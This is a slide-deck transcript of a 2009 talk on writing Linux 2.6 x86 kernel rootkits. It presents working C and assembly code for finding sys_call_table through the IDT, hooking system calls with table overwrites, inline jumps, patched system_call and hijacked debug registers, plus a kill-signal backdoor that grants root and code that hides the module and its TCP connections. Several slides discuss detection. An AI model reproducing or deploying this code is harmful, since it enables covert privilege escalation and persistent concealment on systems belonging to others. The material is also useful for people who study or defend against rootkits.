Rootkit on linux_x86_v2.6

61

Click here to load reader

description

Rootkit on linux_x86_v2.6

Transcript of Rootkit on linux_x86_v2.6

Page 1: Rootkit on linux_x86_v2.6

WangYao2009-04-21

Rootkit on Linux x86 v2.6

Page 2: Rootkit on linux_x86_v2.6

NOTE

The report and code is very evil NOT distribute them

Page 3: Rootkit on linux_x86_v2.6

Index Rootkit In Brief Rootkit based on LKM

How to get sys_call_table Simple sys_call_table hook Inline hook Patching system_call Abuse Debug Registers Real Rootkit

Rootkit based non-LKM Using /dev/kmem and kmalloc Using /dev/mem and kmalloc

Page 4: Rootkit on linux_x86_v2.6

Rootkits In Brief

“A rootkit is a set of software tools intended to conceal running processes, files or system data from the operating system… Rootkits often modify parts of the operating system or install themselves as drivers or kernel modules. ”

Rootkit, Trojans, Virus, Malware? Now, they often bind together, be called malware.

Page 5: Rootkit on linux_x86_v2.6

Rootkits' Category

UserSpace Rootkit Run in user space Modify some files,libs,config files, and so on.

KernelSpace Rootkit Run in kernel space Modify kernel structures, hook system calls at the

lowest level

Page 6: Rootkit on linux_x86_v2.6

Rootkits' Common Function

Hide Process Hide File Hide Network Connection Back Door Key Logger

Page 7: Rootkit on linux_x86_v2.6

Rootkits' Key words

Hijack Hook System call sys_call_table sysenter IDT Debug Register

Page 8: Rootkit on linux_x86_v2.6

Rootkits based on LKM

How to get sys_call_table Simple sys_call_table hook Inline hook Patching system_call Abuse Debug Registers Real Rootkit

Page 9: Rootkit on linux_x86_v2.6

sys_call_table

Page 10: Rootkit on linux_x86_v2.6

How to get sys_call_table

Historically, LKM-based rootkits used the ‘sys_call_table[]’ symbol to perform hooks on the system calls

However, since sys_call_table[] is not an exported symbol anymore, this code isn’t valid

We need another way to find ‘sys_call_table[]’

sys_call_table[__NR_open] = (void *) my_func_ptr;

Page 11: Rootkit on linux_x86_v2.6

How to get sys_call_table

The function ‘system_call’ makes a direct access to ‘sys_call_table[]’ (arch/i386/kernel/entry.S:240)

In x86 machine code, this translates to:

Where the 4 ‘addr’ bytes form the address of ‘sys_call_table[]’

call *sys_call_table(,%eax,4)

0xff 0x14 0x85 <addr4> <addr3> <addr2> <addr1>

Page 12: Rootkit on linux_x86_v2.6

How to get sys_call_table

Problem: ‘system_call’ is not exported too

It’s not, but we can discover where it is! ‘system_call’ is set as a trap gate of the system

(arch/i386/kernel/traps.c:1195):

In x86, this means that its address is stored inside the Interrupt Descriptor Table (IDT)

The IDT location can be known via the IDT register (IDTR)

And the IDTR, finally, can be retrieved by the SIDT (Store IDT) instruction

set_system_gate(SYSCALL_VECTOR,&system_call);

Page 13: Rootkit on linux_x86_v2.6

How to get sys_call_table

Steps to get sys_call_table Get the IDTR using SIDT Extract the IDT address from the IDTR Get the address of ‘system_call’ from the 0x80th entry of the

IDT Search ‘system_call’ for our code fingerprint We should have the address of ‘sys_call_table[]’ by now,

have fun!

Page 14: Rootkit on linux_x86_v2.6

IDT

Page 15: Rootkit on linux_x86_v2.6

IDT Descriptor

3 Types:●Task Gate●Interrupt Gate●Trap Gate

Page 16: Rootkit on linux_x86_v2.6

get_system_call

void *get_system_call(void){ unsigned char idtr[6]; unsigned long base; struct idt_descriptor desc;

asm ("sidt %0" : "=m" (idtr)); base = *((unsigned long *) &idtr[2]); memcpy(&desc, (void *) (base + (0x80*8)), sizeof(desc));

return((void *) ((desc.off_high << 16) + desc.off_low));

} /*********** fin get_sys_call_table() ***********/

struct idt_descriptor{ unsigned short off_low; unsigned short sel; unsigned char none, flags; unsigned short off_high;};

Page 17: Rootkit on linux_x86_v2.6

get_sys_call_tablevoid *get_sys_call_table(void *system_call){ unsigned char *p; unsigned long s_c_t; int count = 0; p = (unsigned char *) system_call; while (!((*p == 0xff) && (*(p+1) == 0x14) && (*(p+2) == 0x85))) { p++; if (count++ > 500) { count = -1; break; } } if (count != -1) { p += 3; s_c_t = *((unsigned long *) p); } else s_c_t = 0; return((void *) s_c_t);} /********** fin get_sys_call_table() *************/

Page 18: Rootkit on linux_x86_v2.6

Simple sys_call_table Hook

[...]

asmlinkage int (*old_kill) (pid_t pid, int sig);

[...]

int init_module(void) { old_kill = sys_call_table[SYS_kill] ; sys_call_table[SYS_kill]= (void *) my_kill;

[...]

}

void cleanup_module(void) { sys_call_table[SYS_kill] = old_kill;

[...]

}

Page 19: Rootkit on linux_x86_v2.6

sys_exit0xc0123456

Sys_write0xc0415161

sys_read0xc0112131

sys_fork0xc0789101

0xc0123456: int sys_exit(int) … ..

0xc0789101: int sys_fork(void) … ..

0xc0112131: int sys_read(int,void*,int) … ..

0xc0415161: int sys_write(int,void*,int) … ..

...

...

0xbadc0ded: int hacked_write(int,void*,void)Hacked Write0xbadc0ded

Page 20: Rootkit on linux_x86_v2.6

Simple kill syscall hook

asmlinkage int hacked_kill(pid_t pid, int sig){ struct task_struct *ptr = current; int tsig = SIG, tpid = PID, ret_tmp;

printk("pid: %d, sig: %d\n", pid, sig); if ((tpid == pid) && (tsig == sig)) { ptr->uid = 0; ptr->euid = 0; ptr->gid = 0; ptr->egid = 0; return(0); } else { ret_tmp = (*orig_kill)(pid, sig); return(ret_tmp); } return(-1);} /********** fin hacked_kill ************/

$whoamiwangyao$Kill -s 58 12345$whoami$root

Page 21: Rootkit on linux_x86_v2.6

Inline hook

sys_exit0xc0123456

sys_write0xc0415161

sys_read0xc0112131

sys_fork0xc0789101

0xc0123456: int sys_exit(int) … ..

0xc0789101: int sys_fork(void) … ..

0xc0112131: int sys_read(int,void*,int) … ..

0xc0415161: int sys_write(int,void*,int) … ..

...

...

0xbadc0ded: int hacked_write(int,void*,void)

Hacked Write0xbadc0ded

jmp hacked_write

……

……

ret

Page 22: Rootkit on linux_x86_v2.6

Inline hook printk("Init inline hook.\n"); s_call = get_system_call(); sys_call_table = get_sys_call_table(s_call);

orig_kill = sys_call_table[__NR_kill]; memcpy(original_syscall, orig_kill, 5); buff = (unsigned char*)orig_kill; hookaddr = (unsigned long)hacked_kill;

//buff+5+offset = hookaddr offset = hookaddr - (unsigned int)orig_kill - 5; printk("hook addr: %x\n", hookaddr); printk("offset: %x\n", offset);

*buff = 0xe9; //jmp *(buff+1) = (offset & 0xFF); *(buff+2) = (offset >> 8) & 0xFF; *(buff+3) = (offset >> 16) & 0xFF; *(buff+4) = (offset >> 24) & 0xFF; printk("Modify kill syscall.\n");

Page 23: Rootkit on linux_x86_v2.6

Detect simple sys_call_table hook and inline hook

Detections Saves the addresses of every syscall Saves the checksums of the first 31 bytes of every

syscall’s code Saves the checksums of these data themselves

Now you can’t change the addresses in the system call table

Also can’t patch the system calls with jmp’s to your hooks

More Tricks......

Page 24: Rootkit on linux_x86_v2.6

Patching system_call

How to hook all syscalls, without modify sys_call_table and IDT? You can modify int 0x80's handler(system_call), and manage the system calls directly.

Page 25: Rootkit on linux_x86_v2.6

system_call

---- arch/i386/kernel/entry.S ----# system call handler stubENTRY(system_call) pushl %eax # save orig_eax SAVE_ALL GET_THREAD_INFO(%ebp)

cmpl $(nr_syscalls), %eax ---> Those two instrutions will replaced by jae syscall_badsys ---> Our Own jump

# system call tracing in operation testb $_TIF_SYSCALL_TRACE,TI_FLAGS(%ebp) jnz syscall_trace_entrysyscall_call: call *sys_call_table(,%eax,4) movl %eax,EAX(%esp) # store the return value ....---- eof ----

Page 26: Rootkit on linux_x86_v2.6

Patching system_call Trick

Original Code: 11 Bytes 'cmpl $(nr_syscalls), %eax' ==> 5 Bytes 'jae syscall_badsys' ==> 6 Bytes

Jump Code: 5 Bytes 'pushl $addr' ==> 5 Bytes 'ret' ==> 1 Bytes

Page 27: Rootkit on linux_x86_v2.6
Page 28: Rootkit on linux_x86_v2.6

set_sysenter_handlervoid set_sysenter_handler(void *sysenter){ unsigned char *p; unsigned long *p2; p = (unsigned char *) sysenter; /* Seek "call *sys_call_table(,%eax,4)"*/ while (!((*p == 0xff) && (*(p+1) == 0x14) && (*(p+2) == 0x85))) p++; /* Seek "jae syscall_badsys" */ while (!((*p == 0x0f) && (*(p+1) == 0x83))) p--;

p -= 5; memcpy(orig_sysenter, p, 6); start_patch_sysenter = p;

/* We put the jump*/ *p++ = 0x68; /*pushl*/ p2 = (unsigned long *) p; *p2++ = (unsigned long) ((void *) new_idt);

/*now, "jae"-->ret*/ p = (unsigned char *) p2; *p = 0xc3; /*ret*/} /************* fin set_sysenter_handler() **********/

Page 29: Rootkit on linux_x86_v2.6

new_idt & hook

void new_idt(void){ ASMIDType ( "cmp %0, %%eax \n" "jae syscallbad \n" "jmp hook \n"

"syscallbad: \n" "jmp syscall_exit \n"

: : "i" (NR_syscalls) );

} /********** fin new_idt() **************/

void hook(void){ register int eax asm("eax");

switch (eax) { case __NR_kill: CallHookedSyscall(hacked_kill); break; default: JmPushRet(syscall_call); break; }

JmPushRet( after_call );} /*********** fin hook() ************/

Page 30: Rootkit on linux_x86_v2.6

Detect system_call hook

Trick 1: Copy the system call table and patch the proper bytes in ‘system_call’ with the new address This can be avoided by having St. Michael making

checksums of ‘system_call’ code too

Trick 2: Copy ‘system_call’ code, apply Trick 1 on it, and modified the 0x80th ID in the IDT with the new address This can be avoided by having St. Michael storing

the address of ‘system_call’ too

Page 31: Rootkit on linux_x86_v2.6

Abuse Debug Registers

DBRs 0-3: contain the linear address of a breakpoint. A debug exception (# DB) is generated when the case in an attempt to access at the breakpoint

DBR 6: lists the conditions that were present when debugging or breakpoint exception was generated

DBR 7: Specifies forms of access that will result in the debug exception to reaching breakpoint

Page 32: Rootkit on linux_x86_v2.6

Debug Registers

Page 33: Rootkit on linux_x86_v2.6

Evil Ideas of abusing debug Registers

Based on the above far this allows us to generate a #DB when the cpu try to run code into any memory location at our choice, even a kernel space

Evil Ideas Set breakpoint on system_call(in 0x80's handler) Set breakpoint on sysenter_entry(sysenter handler)

OMG, every syscall will be hooked!

Page 34: Rootkit on linux_x86_v2.6

The #DB also be managed through IDT

fastcall void do_debug(struct *pt_regs,int errorcode)

At the moment we can then divert any flow execution kernel to do_debug, without changing a single bit of text segment!

ENTRY(debug) pushl $0 pushl $SYMBOL_NAME(do_debug) jmp error_code

Page 35: Rootkit on linux_x86_v2.6

Some breakpoint code

/* get dr6 */ __asm__ __volatile__ ( "movl %%dr6,%0 \n\t" : "=r" (status) );

/* DR2 2nd watch on the syscall_table entry for this syscall */dr2 = sys_table_global + (unsigned int)regs->eax * sizeof(void *);/* set dr2 read watch on syscall_table */__asm__ __volatile__ ( "movl %0,%%dr2 \n\t" : : "r" (dr2) );

/* enable exact breakpoint detection LE/GE */s_control |= TRAP_GLOBAL_DR2;s_control |= TRAP_LE;s_control |= TRAP_GE;s_control |= DR_RW_READ << DR2_RW;s_control |= 3 << DR2_LEN;

/* set new control .. gives up syscall handler to avoid races */__asm__ __volatile__ ( "movl %0,%%dr6 \n\t" "movl %1,%%dr7 \n\t" : : "r" (status), "r" (s_control) );

Page 36: Rootkit on linux_x86_v2.6

Hook do_debug

When hardware breakpoints appear, kernel will call do_debug(). BUT orignal do_debug() not set eip to our evil func. So we must hook do_debug() ourself.

It means that INT 1 of IDT, will be set hacked_do_debug() insead of do_debug().

Page 37: Rootkit on linux_x86_v2.6

Find do_debug

KPROBE_ENTRY(debug) RING0_INT_FRAME cmpl $sysenter_entry,(%esp) <- find sysenter_entry here too! jne debug_stack_correct FIX_STACK(12, debug_stack_correct, debug_esp_fix_insn)debug_stack_correct: pushl $-1 # mark this as an int CFI_ADJUST_CFA_OFFSET 4 SAVE_ALL xorl %edx,%edx # error code 0 movl %esp,%eax # pt_regs pointer call do_debug <- PATCH ME! jmp ret_from_exception CFI_ENDPROCKPROBE_END(debug)

Page 38: Rootkit on linux_x86_v2.6

Patch do_debugstatic int __get_and_set_do_debug_2_6(unsigned int handler, unsigned int my_do_debug){ unsigned char *p = (unsigned char *)handler; unsigned char buf[4] = "\x00\x00\x00\x00"; unsigned int offset = 0, orig = 0;

/* find a candidate for the call .. needs better heuristics */ while (p[0] != 0xe8) p ++; buf[0] = p[1]; buf[1] = p[2]; buf[2] = p[3]; buf[3] = p[4];

offset = *(unsigned int *)buf; orig = offset + (unsigned int)p + 5; offset = my_do_debug - (unsigned int)p - 5;

p[1] = (offset & 0x000000ff); p[2] = (offset & 0x0000ff00) >> 8; p[3] = (offset & 0x00ff0000) >> 16; p[4] = (offset & 0xff000000) >> 24;

return orig;}

Page 39: Rootkit on linux_x86_v2.6

Debug register hook

From hacked_do_debug can then have access to the value of eip representing the return address on the person who triggered the breakpoint, which is the kernel in our case, so you can change at will the flow of execution after the procedure!

Changing eip can send a running our routine that once made the 'dirty work' take care to restore the original flow of execution

regs->eip = (unsigned int)hook_table[regs->eax];

Page 40: Rootkit on linux_x86_v2.6

Execution flow

Page 41: Rootkit on linux_x86_v2.6

hacked_do_debughacked_do_debug():/* get dr6 */__asm__ __volatile__ ( "movl %%dr6,%0 \n\t" : "=r" (status) );....../* check for trap on dr2 */if (status & DR_TRAP2){ trap = 2; status &= ~DR_TRAP2;}......if ((regs->eax >= 0 && regs->eax < NR_syscalls) && hook_table[regs->eax]){ /* double check .. verify eip matches original */ unsigned int verify_hook = (unsigned int)sys_p[regs->eax]; if (regs->eip == verify_hook) { // 这里设置下一步的执行函数 regs->eip = (unsigned int)hook_table[regs->eax]; DEBUGLOG(("*** hooked __NR_%d at %X to %X\n", regs->eax, verify_hook, \ (unsigned int)hook_table[regs->eax])); }}......

Page 42: Rootkit on linux_x86_v2.6

More Evil

We modified do_debug(), if someone check the address of do_debug(), will find the rootkit.

Wait, if we set another hardware breakpoint on do_debug()'s address. It means that we can return someone the wrong address of do_debug(), and can not be detected.

Debug Regiser Save us again :-)

Page 43: Rootkit on linux_x86_v2.6

Real Rootkit

Strace system call Hook system call Hide rootkit self

Page 44: Rootkit on linux_x86_v2.6

Strace system call$strace ls......open(".", O_RDONLY|O_NONBLOCK|O_LARGEFILE|O_DIRECTORY|0x80000) = 3fstat64(3, {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0fcntl64(3, F_GETFD) = 0x1 (flags FD_CLOEXEC)getdents64(3, /* 9 entries */, 4096) = 272getdents64(3, /* 0 entries */, 4096) = 0close(3) = 0......$strace ps......stat64("/proc/3105", {st_mode=S_IFDIR|0555, st_size=0, ...}) = 0open("/proc/3105/stat", O_RDONLY) = 6read(6, "3105 (kmpathd/0) S 2 0 0 0 -1 41"..., 1023) = 130close(6) = 0...... $strace netstat -ant

......open("/proc/net/tcp", O_RDONLY) = 3read(3, " sl local_address rem_address "..., 4096) = 600write(1, "tcp 0 0 0.0.0.0:21 "..., 80) = 80write(1, "tcp 0 0 192.168.122."..., 80) = 80write(1, "tcp 0 0 127.0.0.1:63"..., 80) = 80read(3, "", 4096) = 0close(3) = 0......

Page 45: Rootkit on linux_x86_v2.6

Hook system call

Have be discussed Previously Simple sys_call_table hook Inline hook Patching system_call Abuse Debug Registers

Page 46: Rootkit on linux_x86_v2.6

Hide module & network

struct module *m = &__this_module;

/* Delete from the module list*/ if (m->init == init_module) list_del(&m->list);

struct proc_dir_entry *tcp = proc_net->subdir->next;

/* redefine tcp4_seq_show() */ while (strcmp(tcp->name, "tcp") && (tcp != proc_net->subdir)) tcp = tcp->next;

/* Hide TCP Connection Information in /proc/net/tcp */ if (tcp != proc_net->subdir) { orig_tcp4_seq_show = ((struct tcp_seq_afinfo *)(tcp->data))->seq_show; ((struct tcp_seq_afinfo *)(tcp->data))->seq_show = hacked_tcp4_seq_show; }

Page 47: Rootkit on linux_x86_v2.6

Rootkits based on non-LKM

Access kernel resource from userspace through some infrastructure of Linux, Mostly based on /dev/kmem and /dev/mem.

Famous rootkit suckit

Page 48: Rootkit on linux_x86_v2.6

/dev/kmem

/dev/kmem Kernel space virtual memory snapshot

/dev/mem Physical memory snapshot

Hacking read/write mmap

Page 49: Rootkit on linux_x86_v2.6

Using kmalloc based non-LKM code injection

The addresses of the syscall table and of the function kmalloc() within the kernel are found by searching kernel memory for certain patterns.

The function kmalloc() is internal to the kernel and needed to reserve space in kernel memory. The address of kmalloc() is put into an unused entry of the syscall table.

kmalloc() is executed as a system call and memory in the kernel is allocated.

The rootkit is written to the freshly reserved space in the kernel.

The address of the rootkit is put into the unused entry of the syscall table, overwriting the address of kmalloc().

The rootkit is called as a system call and finally running in kernel mode.

Page 50: Rootkit on linux_x86_v2.6

Steps of suckit 1.3a

Sidt read/mmap /dev/kmem Search fingerprint opcode Set kmalloc into sys_call_table Insert rootkit opcode into kernel(Patching) Hook......

Page 51: Rootkit on linux_x86_v2.6

Detection of rootkit based /dev/kmem

Most of distributions have disabled /dev/kmem feature.

Device Drivers => Character Devices => /dev/kmem virtual device support

BUT Debian still has this hole ;-) Detection:

Using the same steps to check sys_call_table Using LKM to check sys_call_table

Page 52: Rootkit on linux_x86_v2.6

/dev/mem

/dev/mem Driver interface to physically addressable memory. lseek() to offset in “file” = offset in physical mem

EG: Offset 0x100000 = Physical Address 0x100000 Reads/Writes like a regular character device

/dev/mem is same with /dev/kmem Same techniques with Virt -> Phys address

translation

Page 53: Rootkit on linux_x86_v2.6

Address Translation

Higher half GDT loading concept applies Bootloader trick to use Virtual Addresses along

with GDT in unprotected mode to resolve physical addresses. Kernel usually loaded at 0x100000 (1MB) in

physical memory Mapped to 0xC0100000 (3GB+1MB) Virtually

Page 54: Rootkit on linux_x86_v2.6

Address Translation

0xC0100000 + 0x40000000=0xC0100000 – 0xC0000000=0x00100000

Page 55: Rootkit on linux_x86_v2.6

/dev/mem's address translation code

#define KERN_START 0xC0000000int iskernaddr(unsigned long addr){

/*is address valid?*/if(addr<KERN_START)

return -1;else

return 0 ;}

/*read from kernel virtual address*/int read_virt(unsigned long addr, void *buf, unsigned int len){

if( iskernaddr(addr)<0 )return -1;

addr = addr - KERN_START;

lseek(mem_fd, addr, SEEK_SET);

return read(mem_fd, buf, len);}

Page 56: Rootkit on linux_x86_v2.6

Steps of rootkit using /dev/mem and kmalloc

Sidt Read /dev/mem [address translation] Search fingerprint opcode Set kmalloc into sys_call_table Insert rootkit opcode into kernel(Patching) Hook......

Page 57: Rootkit on linux_x86_v2.6

Detection of rootkit based /dev/mem

SELinux has created a patch to address this problem (RHEL and Fedora kernels are safe)

Mainline kernel addressed this from 2.6.26 Kernel Hacking => Filter access to /dev/mem

Detection: Using the same steps to check sys_call_table Using LKM to check sys_call_table

Page 58: Rootkit on linux_x86_v2.6

Next

BIOS rootkit PCI rootkit Virtualize Machine rootkit

subvirt

Bootkit NTLDR Grub

Page 59: Rootkit on linux_x86_v2.6

Reference LKM Rootkits on Linux x86 v2.6:

http://www.enye-sec.org/textos/lkm.rootkits.en.linux.x86.v2.6.txt

Mistifying the debugger, ultimate stealthnesshttp://www.phrack.com/issues.html?issue=65&id=8

Advances in attacking linux kernelhttp://darkangel.antifork.org/publications/Advances%20in%20attacking%20linux%20kernel.ppt

Kernel-Land Rootkitshttp://www.h2hc.com.br/repositorio/2006/Kernel-Land%20Rootkits.pps

Intel® 64 and IA-32 Architectures Software Developer's Manualswww.intel.com/products/processor/manuals/

Developing Your Own OS On IBM PChttp://docs.huihoo.com/gnu_linux/own_os/index.htm

Handling Interrupt Descriptor Table for fun and profithttp://www.phrack.org/issues.html?issue=60&id=6

Execution path analysis: finding kernel based rootkitshttp://www.phrack.org/issues.html?issue=59&id=10

Malicious Code Injection via /dev/mem

Page 60: Rootkit on linux_x86_v2.6

Show Time;-)

Page 61: Rootkit on linux_x86_v2.6

Q&A